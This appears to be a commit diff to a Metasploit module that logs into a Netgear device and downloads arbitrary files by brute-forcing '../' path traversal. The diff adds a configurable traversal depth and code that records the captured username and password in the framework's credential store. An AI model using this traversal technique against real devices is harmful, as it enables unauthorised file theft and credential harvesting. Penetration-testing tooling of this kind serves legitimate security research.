@@ -41,6 +41,11 @@ def initialize(info = {})
41
41
OptString . new ( 'PASSWORD' , [ true , 'Password for the specified username' , 'admin' ] ) ,
42
42
OptString . new ( 'FILEPATH' , [ false , 'Path of the file to download minus the drive letter' , '/Windows/System32/calc.exe' ] ) ,
43
43
] , self . class )
44
+
45
+ register_advanced_options (
46
+ [
47
+ OptInt . new ( 'DEPTH' , [ false , 'Max depth to traverse' , 15 ] )
48
+ ] , self . class )
44
49
end
45
50
46
51
def authenticate
@@ -146,16 +151,48 @@ def save_file(filedata)
146
151
print_good ( "File saved in: #{ path } " )
147
152
end
148
153
154
+ def report_cred ( opts )
155
+ service_data = {
156
+ address : rhost ,
157
+ port : rport ,
158
+ service_name : 'netgear' ,
159
+ protocol : 'tcp' ,
160
+ workspace_id : myworkspace_id
161
+ }
162
+
163
+ credential_data = {
164
+ origin_type : :service ,
165
+ module_fullname : fullname ,
166
+ username : opts [ :user ] ,
167
+ private_data : opts [ :password ] ,
168
+ private_type : :password
169
+ } . merge ( service_data )
170
+
171
+ login_data = {
172
+ last_attempted_at : DateTime . now ,
173
+ core : create_credential ( credential_data ) ,
174
+ status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL ,
175
+ proof : opts [ :proof ]
176
+ } . merge ( service_data )
177
+
178
+ create_credential_login ( login_data )
179
+ end
180
+
149
181
150
182
def run
151
183
cookie = authenticate
152
184
if cookie == nil
153
185
fail_with ( Failure ::Unknown , "#{ peer } - Failed to log in with the provided credentials." )
154
186
else
155
- print_good ( "#{ peer } - Logged with successfully." )
187
+ print_good ( "#{ peer } - Logged in with #{ datastore [ 'USERNAME' ] } :#{ datastore [ 'PASSWORD' ] } successfully." )
188
+ report_cred (
189
+ user : datastore [ 'USERNAME' ] ,
190
+ password : datastore [ 'PASSWORD' ] ,
191
+ proof : cookie
192
+ )
156
193
end
157
194
158
- if datastore [ 'FILEPATH' ] . nil? || datastore [ 'FILEPATH' ] . empty ?
195
+ if datastore [ 'FILEPATH' ] . blank ?
159
196
fail_with ( Failure ::Unknown , "#{ peer } - Please supply the path of the file you want to download." )
160
197
return
161
198
end
@@ -171,7 +208,7 @@ def run
171
208
172
209
print_error ( "#{ peer } - File not found, using bruteforce to attempt to download the file" )
173
210
count = 1
174
- while count < 15
211
+ while count < datastore [ 'DEPTH' ]
175
212
res = download_file ( ( "../" * count ) . chomp ( '/' ) + filepath , cookie )
176
213
if res && res . code == 200
177
214
if res . body . to_s . bytesize != 0 && ( not res . body . to_s =~/This file does not exist./ ) && ( not res . body . to_s =~/operation is failed/ )
0 commit comments